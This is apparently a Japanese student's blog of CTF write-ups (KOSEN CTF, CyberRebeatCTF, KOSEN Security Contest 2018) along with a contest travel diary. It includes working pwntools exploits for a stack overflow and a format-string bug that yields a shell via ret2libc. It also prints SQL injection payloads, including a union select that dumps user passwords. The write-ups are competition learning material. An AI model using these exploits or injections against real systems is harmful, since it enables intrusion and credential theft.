 $strings attack_log.pcapng | grep KOSEN
	The flag is KOSENCTF{&lt;the password for the basic auth&gt;}

パスワードがわかればいいです。

wiresharkで除いてhttpに絞ってみると、大量のGETと401がUnauthorizedが見つかります。

f:id:mi__tsu:20190121000136p:plain

ここでInfomationで整理してみると、大量のUnauthorizedの中に唯一200 OKが返っている18777番のパケットが見つかります。この直前にGETしている18775番のパケットをみてみるとパスワードがみつかるので、それがフラグになります。

f:id:mi__tsu:20190121000744p:plain

KOSENCTF{bRut3F0rc3W0rk3D}

 

[Forensics:200] conversation

We seized a smartphone which one of the suspects had used. Find out the conversation they had. 

自分はとても苦戦しましたが通してる人がたくさんいたのでとても焦りました。

最初、e2fsckでイメージファイルを修復してマウントして…とやっていたのですがフォルダが多すぎて大変で、結局その方法ではフラグを見つけることができませんでした。

いい方法ないかなーって思ってとりあえずforemostしてみたところ、画像ファイルがいくつか出てきたのでとりあえず全部見てみました。すると、怪しいjpgファイルが見つかりそこにフラグが書いてありました。

 

f:id:mi__tsu:20190121001324p:plain

KOSENCTF{7h3_4r7_0f_4ndr01d_f0r3n51c5}

 

[pwn:100] double check

 nc pwn.kosenctf.com 9100

// auth.c
#include
<stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> char auth = 1; char password[32]; void handler(int sig) { if (sig == SIGALRM) { puts("\nTimeout."); exit(1); } } void init(void) { setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, handler); alarm(5); } void sw(char flag) { auth = flag; } char readfile(char* path, char* buf) { FILE *fp; if (auth == 1) { fp = fopen(path, "r"); fread(buf, 1, 31, fp); fclose(fp); buf[31] = 0; auth = 0; } else { return 1; } return 0; } int main(void) { FILE *fp; char input[32]; init(); if (readfile("password", password)) { puts("The file is locked."); return 1; } printf("Password: "); scanf("%s", input); if (strncmp(password, input, 31) == 0) { sw(1); } else { sw(0); } if (strncmp(password, input, 31) == 0) { if (readfile("flag", password)) { puts("The file is locked."); } else { printf("%s\n", password); } } else { puts("Invalid password."); } memset(password, '\x00', 32); return 0; }

 offset:44の位置でバッファオーバーフローで任意アドレスに飛ばせます。パット見たところ、一番最後の if(strncmp(password, ...) { と if(readfile("flag", password)) { の間に飛ばせばいいことがわかりますが、ただやるだけだとauthフラグが0になてしまい、The file is locked. と表示されてしまうのに阻まれてしまいます。

まずauthフラグについては sw(1) を呼び出してあげればいいです

以下エクスプロイトコード

# exploit.py
from
pwn import * # overflow offset = 44 addr = 0x0804883f # puts(password) sw = 0x08048700 r = remote("pwn.kosenctf.com", 9100) # r = process("./auth") payload = "A" * 44 payload += p32(sw) payload += p32(addr) payload += p32(0x1) r.sendline(payload) r.interactive()

KOSENCTF{s1mpl3-st4ck0v3rfl0w!}

 

[pwn:200] introduction

nc pwn.kosenctf.com 9200 

// introduction.c
#include
<stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> void handler(int sig) { if (sig == SIGALRM) { puts("\nNo need to answer my question. Bye."); exit(1); } } void init(void) { setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, handler); alarm(5); } int main(void) { char buffer[128]; init(); puts("May I ask your name?"); printf("First Name: "); scanf("%127s", buffer); printf(buffer); printf("\nFamily Name: "); scanf("%127s", buffer); printf(buffer); puts("\nThanks."); return 0; }

これとlibc-2.27.soももらえました。

公開されてから割と早い段階で解けてとてもうれしかった問題でもあります。

面倒くさいので詳しくは明日書きます。コードどぺー

#coding:utf-8
from pwn import *

# fsa

offset = 7
baseOffset = 0x8ab

# local
#systemOffset = XXXXXXXX
#binshOffset = XXXXXXXX
#libcstartmainOffset_241 = XXXXXXXX

systemOffset = 0x3cd10
binshOffset = 0x17b8cf
libcstartmainOffset_241 = 0x18d90 + 241

#r = process("./introduction")

r = remote("pwn.kosenctf.com", 9200)

sleep(0.3)
r.recv(0x100)

# 1:bufferのアドレスリーク用(bufferのアドレスが受け取れる) 2:libc_baseリーク用(__libc_start_main+241が受け取れる)
r.sendline("AAAA,%x,%43$x")

buflibc = r.recvline()
bufferAddr = int(buflibc[5:13], 16)
libcBase = int(buflibc[14:22], 16) - libcstartmainOffset_241
log.info("bufferAddr = " + hex(bufferAddr))
log.info("libcBase = " + hex(libcBase))
bufferOffset = 0x90  # bufferAddr + bufferOffset = retAddr

retAddr = bufferAddr + bufferOffset
r.sendline(fmtstr_payload(offset, {retAddr: systemOffset + libcBase, retAddr+8: binshOffset + libcBase}))

r.interactive()

これでシェルが奪えるのでcat flagすればオーケー

KOSENCTF{lIbc-bAsE&ESp_lEAk+rET2lIbc_ThrOugh_FSB}

 

[Reversing:100] flag_generator

This program generates the flag for you!! 

func r() {
	int a = obj.s;
	a *= 0x41c64e6d;
	a += 0x3039;
	a &= 0x7fffffff;
	obj.s = a;

	return obj.s;
}

local40h = 0;

obj.s = time(NULL);
obj.s = r();

local44h = obj.s;

if(local38h == local44h) local3ch = 1;
else local3ch = 0;

if(local3ch == 0) {
	sleep(1);
} else {
	rax = local40h;
}

いい感じの時間になるまでループし続け、なったらフラグを作るらしいです(多分)

f(n) = 0x25dc167e となるnを[obj.s] に打ち込めばいいことがわかります。

ソルバどぺー

#coding:utf-8
from z3 import *
import re
"""
f(n) = 0x25dc167e
となるnを[obj.s] に打ち込めばいい

(n*0x41c64e6d+0x3039)&0x7fffffff == 0x25dc167e
"""

n = BitVec("n", 2048)

s = Solver()
s.add((n*0x41c64e6d+0x3039)&0x7fffffff == 0x25dc167e)

print(s.check())
m = s.model()
print(m)


flag = [
0x608f5935,
0x57506491,
0x27365557,
0x54e3dea1,
0x755a4ed5,
0x17f42eb7,
0x4a4f9059,
0x1a08e827,
0xd9d391f,
0x59e533aa
]

seed = 0x25dc167e
for i in flag:
    flag = hex(i ^ seed)
    flagg = re.split('(..)',flag)[1::2][1:][::-1]
    for j in flagg:
        print(chr(int(j,16)), end = "")
    seed = (seed*0x41c64e6d+0x3039)&0x7fffffff

z3pyでごり押しました。

KOSENCTF{IS_THIS_REALLY_A_REVERSING?}

 

[Reversing:200] flag_checker (おまけ)

You should check your flag before your submission. 

 自分はこの問題を解くことができませんでしたが、ちょっとしたミスでうーん…となっていて最終的にアで悔しいのでwriteup書きます。

受け取った文字列を 0xdec0c0de を鍵としていい感じに変更して、最終的に元々用意されていたものになればそれがフラグということがわかります。

また鍵も 0xdec0c0de -> 0xdec0c0dede -> 0xdec0c0dedec0 のように数値が変わっていきます。

ソルバどぺー

// solv.c
#include <stdio.h>

unsigned int rotate8(unsigned int a) {
	return (a >> 24) | (a << 8);
}

int main() {
	unsigned int syms[9] = {0xc2d7c99f, 0x5944460a, 0xc1cec584, 0x4e5f4f3f,
		0xddded4be, 0x4c4a4b39, 0xd1d1cfa6, 0x4e4a5529, 0xddc3c3a3};
	unsigned int decocode = 0xdec0c0de;
	unsigned int cnt = 0;
	char flag[256];

	for(int i=8; i>=0; i--) {
		for(int j=0; j<4; j++) {
			(flag+i*4)[j] = ((syms[i]^decocode^cnt) >> 8 * j) & 0xff;
		}
		cnt ^= ((syms[i]^decocode^cnt)^decocode);
		decocode = rotate8(decocode);
	}
	printf("%s\n", flag);

	return 0;
}

KOSENCTF{TOO_EASY_TO_DECODE_THIS}

 

感想

今回GrowthKeysは16位でした。とても疲れて、二日目は17時間睡眠をキメてしまい起きた時は焦りました…w

もう少し上を狙えたかなと考えるととても悔しいですが、結果は結果なので精進していきたいと思います。

本当にお疲れさまでした。

29回高専プロコンに参加ししましたー【行動編】

今回はタイトルの通り高専プログラミングコンテストの阿南大会に行ってきました。自分史上初の四国です。タイトルに行動編とありますが簡単に言うと何をしたかとかそういうのを書いてきます。自分たち小山高専アルゴリズムなどは後で書きます。今回は色々とアレだったので来年自分が高専プロコンに参加するか微妙なお気持ちです。

前日

馬鹿なmitsuくんは準備を前日に初めたんですよ。おバカです。金曜日と月曜日の公欠を取って徳島に行くのが楽しみでした。個人的にこの曜日の授業は面倒くさいので嬉しかったです。ついたら適当にしおりをもらっていきました。この日、プログラムの方の数値の調整とかやりたいことが若干あったのですが自分が途中持病でぶっ倒れてしまい"この日"はあまり貢献することはできませんでした...。まぁ11時くらいに起きて日をまたいでいっぱいプログラムをかけたのですが(笑)

レポート含めたくさんの不安を抱えながら徳島の地へ向かうこととなったのでした...。

一日目

予行演習->予選という流れでした。実は予行演習の直前にルールの伝え方に不備があったようでうちもその影響をダイレクトで受けてしまいました。その後すぐに予行演習だったので大混乱です。他にも同じような境遇のチームは少なくなく、せめて前日には行ってほしかったなという気持ちです。

いざ予行演習となり対戦相手は沖縄高専でした。詳しくは技術編などで話すのですが、うちのチームは一番最初だけ少し時間を取って色々やるプログラムになっていました。実際大会のルールでは最初に少しだけ長く時間が取ってあって動かせる状態ではあったのですが想像以上に時間がなく、その自分のプログラムが動いていないうちに試合が始まってしまいました。AIを活用する暇もなく人力となりました。

司令塔となった同じチームの方によるとトランプを探すのが大変とのこと。他のチームはジェスチャーを使っているところが多く自分たちもその後ジェスチャーに切り替えました。募集要項に「トランプのみを使って司令を出す」みたいなことが書いてあったので汲み取り方を間違えてしまったっぽいです。

その後昼休みを挟んで予選でしたがパソコンを使ってると時間が来てしまい間に合わないので人力でやり負けてしまいました…。今思うとGUI面をもっと力入れたほうが良かったと思っています。

その後麺を食べGUIの強化へとデスマーチを進行させるのでした……。

二日目

ほぼ寝ないで敗者復活戦へと挑みました。多少GUIの操作がしやすくなり司令もだしやすくなりました。またモンテカルロ法だと時間がかかってしまい司令を受けてエージェントが動くまで含めると間に合わなそうだったので適当に貪欲法のプログラムを作っておきました。

敗者復活、一回戦は上手く貪欲法が動き勝利できました。今回のルールだといかにシンプルなAIでいかに的確に司令を出せるかが問われるものだと改めて思い知りました。高専UIコンテストですね。

二回戦ですが、弊高専の司令の方が味方と敵のエージェントを逆に動かしてしまい失敗し負けてしまいました。睡眠不足やUIの強化が足りなかったことが原因かと思われとても残念でした。

どうやら夕方から裏プロコンと名打ったものが開催されていたようで自分たちも一戦だけやりにいきました。裏プロコンでは実際にプレイするのはパソコン内で人力全くなしの勝負だったのでこれは勝ちたい、とモンテカルロで挑みました。しかしどうしたことかエージェントが奇怪な動きをし始めました。その時修正することはできずなんとも言えない結果になってしまいましたがどうやら実行時のシェルスクリプトのミスだったようです。睡眠って大事だなって思いました。

三日目

プロコンが終わり少しだけ観光してから帰ることになりました。鳴門海峡に行き渦潮を見に行きましたがタイミングが合わなくてあまり見ることができませんでした。渦潮にもいくつか種類があったりその種類によっての作られ方など面白そうなものがいっぱい展示されていたのでまあ楽しかったです。あと海がとても広くて人間の小ささを改めて思い知りました。きれいでした。

最後にお土産を買ってご飯を食べました。阿波おどり空港のRich Burgerという店に入りハンバーガーを食べてました。「激辛!」と書いてあったハンバーギャーとオレンジジュースをたのみ美味しくいただきました。最後にハンバーギャー完食証明書なるものをもらいましたがそこまで辛くなかったのでみんなにも挑戦してほしいです。とっても美味しかったです。

それで

帰りました。おやすみなさい。

CyberRebeatCTF に参加しました!

はじめに

タイトルの通り CyberRebeatCTF に参加しました! " CyberRebeat " というノベルゲームの英語版が Steam ででたようで、その祝いとして開催されたようです。

自分は「ソロリンピック」とかいうクソださチーム名でその名の通り一人で参加してました。一つのジャンルに集中できないので大変でした...。順位は 3338 点で全体 25 位で健闘はできたのかな~とは思っています。今度は複数人で参加したいですね。

あとゲーム作りたいです。

以下 Write-up です。

 

Exercise (Exercise 10)

f:id:mi__tsu:20180909154237p:plain

 

Rotation (Crypto 10)

P4P6S{} が CRCTF{} だろうなーって予想してエスパーしました。

 

FLAG.encrypted (Crypto 200)

普通の RSA で安心しました。公開鍵と暗号文が渡され、公開鍵を見てみると明らかに e の値が大きかったので Wiener's Attack でやりました。

f:id:mi__tsu:20180909160554p:plain

SimpleBinary (Binary 100)

起動しても何も起こらないので gdb でチラーって見てたらなんかでてきました。

 

Readme (Misc 100)

f:id:mi__tsu:20180909160008j:plain

恐らく一番下の行が CRCTF から始まっていて形が似ていることがわかるので読みます。

 

Calcuration (Programming 10)

netcat で接続すると "11 + 6 - 2 + 3" などの式が与えられるのでそれに答えるだけです。

from pwn import *

conn = remote("59.106.212.75", 8080)

while True:
	num = str(eval(conn.recvline()))
	print num
	conn.sendline(num)
	sleep(0.2)

途中で eval のエラーがでて見てみるとフラグだったのでこんな感じでいくかーって感じでした。よくないです。

あと普通に socket でいいです(pwntools にしたせいで逆に手間取ってしまいました)(練習したかったのです)

 

Prime Factor (Programming 100)

数字が与えられるのでそれの最大の素因数を一定時間内で求めよという問題でした。素数判定するのが面倒だったので力技で時間と勝負しました。楽しかったです。

Python だと素因数のリストを求めてくれるライブラリとかありそうですね。

 

Visual Novels (Programming 200)

Reading Power とノベルゲームのコストと満足度が与えられます。Reading Power 以内のコストで最大の満足度を得られるような組み合わせの時の満足度を求めよという問題でした。ノベルゲームの数がそこまで多くなかったので無理やり愚直な方法でとりあえず解きました。駄目ですね。

from pwn import *
import numpy as np
import cvxpy

conn = remote("59.106.212.75", 8082)
sleep(0.2)

size = []
satis = []
dp = {}
count = 0
def dfs(i, W):
    if i < 0:
        return 0
    if not(i, W) in dp:
        res = dfs(i-1, W)
        if W >=w[i]:
            res = max(res, dfs(i-1, W-w[i])+v[i])
        dp[i, W]  = res
    return dp[i, W]

while True:
    size = []
    satis = []
    dp = {}
    test = conn.recvuntil("=", 0.2)             # Reading Power =
    print "test:", test
    conn.recvuntil(" ")
    readingpow = int(conn.recvline())
    print "ReadingPower : "+str(readingpow)
    sleep(0.2)
    print conn.recvline()                 # Games([size, satisfaction]) =

    while True:
        a = conn.recv(1)
        if a != "[":
            print a
            break
        size.append(int(conn.recvuntil(",")[:-1]))
        conn.recv(1)        # space
        satis.append(int(conn.recvuntil("]")[:-1]))
        conn.recv(2)        # , \n

    print conn.recv(4096) # nswer = ?

    N = len(size)
    W = readingpow
    v = satis
    w = size
    result = dfs(N-1, W)

    conn.sendline(str(result))
    print "phase"
    count = count + 1
    if count == 5:
        print conn.recv(4096)
    sleep(0.3)

あとこの問題ではエラーでフラグを見るみたいなのができなかったので適当に数を指定してフラグとぶつかるようにしてました。これまたよくない。 後で綺麗にする予定です。

 

Tweet (Recon 10)

f:id:mi__tsu:20180909163241p:plain

 

CyberRebeatScripts (Recon 100)

GitHub でアカウントを検索するとでてきたのでリポジトリをとりあえず見ました。問題と同名のリポジトリがあったのでコミットを確認するとフラグを消しているのが見つかりました。はい。

 

ChangeHistory (Recon 100)

消した commit のハッシュが与えられるので ChangeHistory リポジトリの commit の URL にそのハッシュを追加すると見れます。ドクペ

 

Secret.pdf (Stegano 10)

pdf 開いたら黒塗りの後ろがコピーできたのでぺってやりました。

 

Alpha (Stegano 100)

名前が名前だったのでαチャンネル抽出したらでました。

f:id:mi__tsu:20180909164551p:plain

 

Monero (Trivia 10)

-----------------------------------------------------------------------------------------------------------------
ウェブ上からMoneroを発掘するソフトウェア。
日本で、自身のウェブサイト上にこのソフトを設置した何人かのユーザが逮捕されている。

-----------------------------------------------------------------------------------------------------------------

coinhive ですね。

 

Crossword (Trivia 100)

最初面倒そうだと思ってましたがやってみたら意外と簡単だったのでよかったです。

f:id:mi__tsu:20180909164920p:plain

CRCTF{SUBMARINE}

 

White page (Web 100)

サイトを開いても LOGIN ボタンしか出てきませんでした。

   <input type="text" name="id" style="visibility:hidden">
   <input type="text" name="password" style="visibility:hidden">

入力ボックスらしきものが visibility:hidden となっていたのでそれを消してあげて、元々与えられていた ID とパスワードで入るとフラグゲットです。

どうでもいいですが Whitespace が頭から離れませんでした。

 

Let's Tweet! (Web 100)

Twitter は得意です。

 

Uploader (Web 100)

アクセスすると複数個のファイルと下のような感じでした。

f:id:mi__tsu:20180909165736p:plain

検索ボックスに ' とか入れてあげるとなんかエラーがでてきました。

f:id:mi__tsu:20180909165846p:plain

SQL インジェクションだなーなんて思いながら検索ボックスに下のようなのをいれました。

1' or 1=1 --

すると下の画像のように、先ほどのページに secret.zip というのが現れました。

f:id:mi__tsu:20180909170140p:plain

それをダウンロードして解凍しようとするとパスワードが要求されたのでバカな自分はとりあえずブルートフォースを仕掛けようとしてましたがいつまでたっても終わりませんでした。元々与えられていた UserID と Password を試していなかったので guest, guest でログインすると、

f:id:mi__tsu:20180909170411p:plain

つまり secret.zip の持ち主の harada という ID にログインできればオッケーということです。自分はまだ User:harada のパスワードを知らないのでこれも SQL インジェクションかなーなんて思ってました。

' union select userid, password, 0, 0 from Users --";

こんな感じに入力したらユーザーの情報がとれたので harada のパスワードが seishin0129 だということがわかります。

f:id:mi__tsu:20180909170829p:plain

それでログインすれば secret.zip のパスワードもわかるのでフラグが入手できます!

 

感想

Binary 問を後回しにして最初は別のところからいっていたのですが、やっぱり最初にやるべきでした。結局やり始めたのは二日目からなのですが思っていた以上に時間がなくて解けそうだった問題も解けないままになってしまいました。個人的にフィボナッチ数の xor とるやつは解きたかったです。ただ、勉強したかいがあったのか苦手な SQL インジェクション問が解けたのはちょっぴり嬉しかったりします。

あと CTF とかは一人で参加するのは厳しいなーととても思いました。一人でやると全部に手を回さなければいけなくなるので得意なジャンルでゴーっと解くことができないのがきつかったです。CTF お友達がほしいです。

KOSENセキュリティコンテスト2018に参加した

小山高専で「おやまようちえん(およ)」というチームで参加しました。mitsu で登録する予定だったのですがタイポして mtisu という名前で登録してしまいました。むてぃすです。

二日間 Jeopardy 形式の問題を解くものでした。二日間ありますが競技時間自体は全体的に少なく大変でした。

 

弊チームは最終的に 2150 ポイント獲得し 7 位という結果でした。少し残念ですが来年はもっと上位に組み込みたいなーなんて思ってます。Web 問がとても苦手で非常に苦戦したのが悔しかったです。

f:id:mi__tsu:20180902171853p:plain

復習も兼ねて自分が解いた問題を Write-up します

Binary100. まどわされるな!

バイナリが降ってくるのでそれを binwalk にかければ JPEG がくっついてるのがわかります。あとはそれを取り出せばフラグの右半分が手に入るので、普通に実行したらでてくる左半分とくっつければフラグになります。

Binary100. printf 

netcat で接続すると secret のアドレスが与えられ、入力ができるようになります。%x とするとスタックの中身がみれるので書式文字列バグがあることがわかります。ASLR が有効なようで secret のアドレスが変わるので Python でコードを書いてそれで secret を読み出せばフラグが手に入ります。

# exploit.py
import sys
import struct
from pwn import *

index = 15
conn = remote("27.133.152.42", 80)
conn.recv(19)            # the_secret_is_in_0x
target_addr = conn.recv(8)
target = int(target_addr,16)

test = struct.pack("<I", target)
test += ".%15$s"

conn.sendline(test)

sleep(1)
conn.interactive()

今思ったのですが素晴らしいクソコードですね。

どうでもいいですが Python 難しいです。動的型付け言語にはなかなか慣れられません…

Binary200. XORXOR

降ってきたバイナリを実行しても何も起きずに終了してしまいます。適当に radare2 で逆アセンブルしてみるとどうやら文字列を変換していることがわかります。gdb で開いて文字列を変換する関数を実行し終わった直後にブレークポイントを置きスタックの中を見るとフラグがありました。

Binary250. Simple anti debugger

gdb で動かすとデバッガで動かしていることが検出されてプログラムが終了してしまいます。radare2 で afl を叩いてみると ptrace という文字が見えたので、ptrace で自分自身をトレースし呼び出された回数で検知していることがなんとなく察せます。

detect_debugger という関数を見つけたのでそこを見てみると予想通り ptrace したあと cmp eax, 0xffffffffffffffff して jne しているようです。適当なバイナリエディタで開き ptrace をコールしている部分を全て NOP(0x90) 命令で埋め gdb で起動してみると検知されなくなりました。あとはパスワードなどを聞かれますが適当に飛ばしてフラグがゲットできます。バイナリ楽しいです。好きな問題でした。

Misc 50. 人多杉を見たくない

ググって可用性を英語に翻訳して終わりでした。

 

最後に

binary がいい感じにできたら途中から Web をやり始めたのですが全然解けませんでした。自分ができない問題に時間をかけすぎてしまったような気がし、配分を間違えたように感じました。Web の勉強をしないと本当に大変だと思ったので精進したいです。

お疲れ様でした!